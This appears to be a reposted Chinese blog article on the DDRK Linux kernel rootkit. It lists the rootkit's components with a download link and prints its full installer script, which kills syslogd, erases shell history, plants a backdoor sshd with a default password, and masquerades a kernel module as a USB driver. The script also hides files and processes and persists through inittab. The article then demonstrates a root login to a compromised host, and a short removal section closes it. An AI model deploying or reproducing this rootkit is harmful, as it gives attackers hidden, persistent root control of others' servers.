Linux下rootkit-ddrk攻击获得root权限以及清除方法

来源：互联网发布：宜宾网络电视台编辑：程序博客网时间：2024/05/23 01:57

DDRK是一个Linux结合shv和adore-ng优点，内核级别的rootkit。

DDRK中包含的文件：

netstat #替换系统中的netstat，从ssh配置文件中读取端口并隐藏

rk.ko #内核模块，实现文件和进程的隐藏功能

setup #rootkit安装文件

tty #ava工具

bin.tgz

---ttymon

---sshd.tgz

---.sh

---shdcf2 #sshd配置文件

---shhk

---shhk.pub

---shrs

---sshd #sshd主程序

DDRK下载地址：http://pan.baidu.com/s/1qWkchlU

因此只要把这些文件上传到服务器上并成功运行，就可以获得该服务器的root权限。为所欲为，无所不能。

setup内容如下：

#!/bin/bash##########define variables##########DEFPASS=123456    //默认密码DEFPORT=43958    //默认端口BASEDIR=`pwd`SSHDIR=/lib/libsh.soHOMEDIR=/usr/lib/libshunset HISTFILE;unset HISTSIZE;unset HISTORY;unset HISTSAVE;unset HISTFILESIZEexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin##########check is root##########if [ "$(whoami)" != "root" ]; then   echo "BECOME ROOT AND TRY AGAIN"   echo ""  exitfi##########extract all tar##########tar zxf bin.tgzcd bintar zxf sshd.tgzrm -rf ./sshd.tgzcd $BASEDIRrm -rf bin.tgzcd $BASEDIR##########kill syslogd##########killall -9 syslogd >/dev/null 2>&1sleep 2##########remove sh.conf##########if [ -f /etc/sh.conf ]; then  rm -rf /etc/sh.conf         //经过md5sum加密过的密码文件fi##########initialize sshd configuration##########if test -n "$1" ; then   echo "Using Password : $1"   cd $BASEDIR/bin   echo -n $1|md5sum > /etc/sh.confelse   echo "No Password Specified, using default - $DEFPASS"   echo -n $DEFPASS|md5sum > /etc/sh.conffitouch -acmr /bin/ls /etc/sh.confchown -f root:root /etc/sh.confif test -n "$2" ; then   echo "Using ssh-port : $2"   echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config   cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2   mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcfelse   echo "No ssh-port Specified, using default - $DEFPORT"   echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config   cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2   mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcffi###########creating dirs##########SSHDIR=/lib/libsh.soHOMEDIR=/usr/lib/libshif [ -d /lib/libsh.so ]; then   rm -rf /lib/libsh.sofiif [ -d /usr/lib/libsh ]; then   rm -rf /usr/lib/libsh/*fimkdir $SSHDIRtouch -acmr /bin/ls $SSHDIRmkdir $HOMEDIRtouch -acmr /bin/ls $HOMEDIRcd $BASEDIR/binmv .sh/* $SSHDIR/mv .sh/.bashrc $HOMEDIRif [ -f /sbin/ttyload ]; then   chattr -AacdisSu /sbin/ttyload   rm -rf /sbin/ttyloadfiif [ -f /usr/sbin/ttyload ]; then   rm -rf /usr/sbin/ttyloadfiif [ -f /sbin/ttymon ]; then   rm -rf /sbin/ttymonfi mv $SSHDIR/sshd /sbin/ttyloadchmod a+xr /sbin/ttyloadchmod o-w /sbin/ttyloadtouch -acmr /bin/ls /sbin/ttyloadkill -9 `pidof ttyload` >/dev/null 2>&1 mv $BASEDIR/bin/ttymon /sbin/ttymonchmod a+xr /sbin/ttymontouch -acmr /bin/ls /sbin/ttymonkill -9 `pidof ttymon` >/dev/null 2>&1 cp /bin/bash $SSHDIR#########modify inittab##########cp /etc/inittab /etc/.inittabsed -e s@^1:2345@0:2345:once:/usr/sbin/ttyload &@ /etc/inittab > /etc/.inittabtouch -acmr /etc/inittab /etc/.inittabmv -f /etc/.inittab /etc/inittabecho "/sbin/ttyload -q > /dev/null 2>&1" > /usr/sbin/ttyloadecho "/sbin/ttymon > /dev/null 2>&1" >> /usr/sbin/ttyloadecho "${HOMEDIR}/tty i `pidof ttyload` > /dev/null 2>&1" >> /usr/sbin/ttyloadecho "${HOMEDIR}/tty i `pidof ttymon` > /dev/null 2>&1" >> /usr/sbin/ttyloadtouch -acmr /bin/ls /usr/sbin/ttyloadchmod 755 /usr/sbin/ttyload/usr/sbin/ttyload > /dev/null 2>&1touch -amcr /bin/ls /etc/inittab##########make sure inittab has modified##########if [ ! "`grep ttyload /etc/inittab`" ]; then   echo "# WARNING - SSHD WONT BE RELOADED UPON RESTART "   echo "# inittab shuffling probly fucked-up ! "fi##########load rk.ko##########cd $BASEDIRmodprobe -r ehci-hcdmv -f rk.ko /lib/modules/`uname -r`/kernel/drivers/usb/host/ehci-hcd.komodprobe ehci-hcdmv tty $HOMEDIR##########replace netstat##########touch -acmr /bin/netstat netstatmv -f netstat /bin/netstat##########hide all files and process##########$HOMEDIR/tty h /etc/sh.conf > /dev/null 2>&1$HOMEDIR/tty h /lib/libsh.so > /dev/null 2>&1$HOMEDIR/tty h /usr/lib/libsh > /dev/null 2>&1$HOMEDIR/tty h /sbin/ttyload > /dev/null 2>&1$HOMEDIR/tty h /usr/sbin/ttyload > /dev/null 2>&1$HOMEDIR/tty h /sbin/ttymon > /dev/null 2>&1$HOMEDIR/tty i `pidof ttyload` > /dev/null 2>&1$HOMEDIR/tty i `pidof ttymon` > /dev/null 2>&1##########load rk.ko on boot##########cat > /etc/sysconfig/modules/ehci.modules << EOF#!/bin/sh#install usb modules supportmodprobe -r ehci-hcdmodprobe ehci-hcdEOFtouch -amcr /bin/ls /etc/sysconfig/modules/ehci.moduleschmod 755 /etc/sysconfig/modules/ehci.modules$HOMEDIR/tty h /etc/sysconfig/modules/ehci.modules > /dev/null 2>&1##########check iptables setting##########if [ -f /sbin/iptables ]; then   echo "`/sbin/iptables -L INPUT | head -5`"else   echo ""   echo "# lucky for u no iptables found"fi##########start syslogd##########/sbin/syslogd -m 0 <span style="font-family: 宋体; text-indent: 2em; background-color: rgb(255, 255, 255);"> </span>

# ./setup 123 3333 //设置密码为123，端口号为3333

Using Password : 123

Using ssh-port : 3333

Chain INPUT (policy ACCEPT)

target prot opt source destination

隐藏效果查看：

查看进程

# ps -ef | egrep -i "ttyload|ttymon"

root 24761 17990 0 13:29 pts/2 00:00:00 egrep -i ttyload|ttymon

查看端口

# netstat -ntplu

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 127.0.0.1:2208 0.0.0.0:* LISTEN 2117/hpiod

- tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 2267/mysqld

tcp 0 0 0.0.0.0:43958 0.0.0.0:* LISTEN -

tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 2134/cupsd

tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 2295/sendmail: acce

tcp 0 0 127.0.0.1:2207 0.0.0.0:* LISTEN 2122/python

udp 0 0 0.0.0.0:32768 0.0.0.0:* 2417/avahi-daemon:

udp 0 0 0.0.0.0:68 0.0.0.0:* 19752/dhclient

udp 0 0 0.0.0.0:5353 0.0.0.0:* 2417/avahi-daemon:

udp 0 0 0.0.0.0:631 0.0.0.0:* 2134/cupsd

查看加载模块

# lsmod | grep -i ehci-hcd

查看rootkit相关文件

# ls -dl /lib/libsh.so /usr/lib/libsh /etc/sh.conf /sbin/ttyload /sbin/ttymon /bin/ttymon /usr/sbin/ttyload

ls: /bin/ttymon: No such file or directory

-rw-r--r-- 1 2618748389 4063569279 36 Nov 28 2006 /etc/sh.conf

drwxr-xr-x 2 2618748389 4063569279 4096 May 11 13:28 /lib/libsh.so

-rwxr-xr-x 1 2618748389 4063569279 212747 Nov 28 2006 /sbin/ttyload

-rwxrwxr-x 1 2618748389 4063569279 93476 Nov 28 2006 /sbin/ttymon

drwxr-xr-x 2 2618748389 4063569279 4096 May 11 13:28 /usr/lib/libsh

-rwxr-xr-x 1 2618748389 4063569279 171 Nov 28 2006 /usr/sbin/ttyload

查看/etc/inittab文件

# Run gettys in standard runlevels

0:2345:once:/usr/sbin/ttyload

1:2345:respawn:/sbin/mingetty tty1

2:2345:respawn:/sbin/mingetty tty2

3:2345:respawn:/sbin/mingetty tty3

4:2345:respawn:/sbin/mingetty tty4

5:2345:respawn:/sbin/mingetty tty5

6:2345:respawn:/sbin/mingetty tty6

验证：

已攻破并成功执行的主机IP为：192.168.27.129

从另一台登录192.168.27.129，密码为123，端口号为3333

[root@localhost ~]# ssh 192.168.27.129 -p 3333

root@192.168.27.129s password:

Last login: Thu Nov 11 11:20:59 2010 from 192.168.27.1

[sh] w.e.l.c.o.m.e

[sh] To The DoDos Rootkit

[root@DoDo:/root]#

[root@DoDo:/root]# env

TERM=xterm

SHELL=/bin/bash

SSH_CLIENT=192.168.27.130 38824 3333

SSH_TTY=/dev/pts/3

USER=root

LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:

mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.

csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:

*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp

=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:

MAIL=/var/spool/mail/root

PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:/usr/local/sbin:/usr/lib/libs:.

PWD=/root

MACHINE=DoDo

PS1=[33[0;36m][$ID@[33[1;37m]$MACHINE[33[0m][33[0;36m]:${PWD}]#[33[0m]

SHLVL=1

HOME=/usr/lib/libsh

ID=root

LOGNAME=root

_=/bin/env

至此，就可以完全控制192.168.27.129了。

到192.168.27.129上查看登录用户：

# w

13:40:55 up 3:40, 0 users, load average: 1.23, 0.93, 0.77

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

只有本地用户。

清除方法：

# cd /usr/lib/libsh

# modprobe -r ehci-hcd

# ./tty u /etc/sysconfig/modules/ehci.modules